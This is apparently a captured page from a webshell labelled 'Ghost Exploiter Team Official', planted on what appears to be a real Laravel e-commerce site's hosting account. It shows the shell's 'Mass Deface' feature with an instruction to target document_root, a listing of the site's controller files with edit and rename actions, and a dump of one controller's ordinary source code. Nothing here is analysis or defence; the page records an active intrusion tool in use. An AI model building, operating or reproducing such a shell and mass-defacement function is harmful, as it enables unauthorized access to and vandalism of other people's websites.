webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
app
/
Http
/
Controllers
/
Front
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
CartController.php
3.527KB
edt
ren
CatalogController.php
8.042KB
edt
ren
CheckoutController.php
18.938KB
edt
ren
CompareController.php
2.686KB
edt
ren
FrontendController.php
19.68KB
edt
ren
HomeCustomizeController
...
2.277KB
edt
ren
<?php namespace App\Http\Controllers\Front; use App\Http\Controllers\Controller; use App\Models\Category; use App\Models\HomeCutomize; use App\Models\Item; class HomeCustomizeController extends Controller{ // category get public function CategoryGet($category_slug,$type,$check) { $category = Category::whereSlug($category_slug)->first(); $homecustomize = HomeCutomize::first(); $datas = json_decode($homecustomize[$type],true); $index = ''; foreach($datas as $key => $data){ if($data == $category->id){ $index = $key; } } $category = $category->id; $subcategory = $datas['sub'.$index]; $childcategory = $datas['child'.$index]; if($type == 'feature_category'){ $items = Item::with('category') ->when($category, function ($query, $category) { return $query->where('category_id', $category); }) ->when($subcategory, function ($query, $subcategory) { return $query->where('subcategory_id', $subcategory); }) ->when($childcategory, function ($query, $childcategory) { return $query->where('childcategory_id', $childcategory); }) ->whereStatus(1)->take(10)->orderby('id','desc')->get(); }else{ $items = Item::with('category') ->when($category, function ($query, $category) { return $query->where('category_id', $category); }) ->when($subcategory, function ($query, $subcategory) { return $query->where('subcategory_id', $subcategory); }) ->when($childcategory, function ($query, $childcategory) { return $query->where('childcategory_id', $childcategory); }) ->whereStatus(1)->take(10)->get(); } if($check != 'normal'){ return view('includes.slider_product',compact('items')); }else{ return view('includes.normal_product',compact('items')); } } public function productGet($type) { $items = Item::where('is_type',$type)->whereStatus(1)->orderby('id','desc')->take(10)->get(); return view('includes.type_product',compact('items')); } }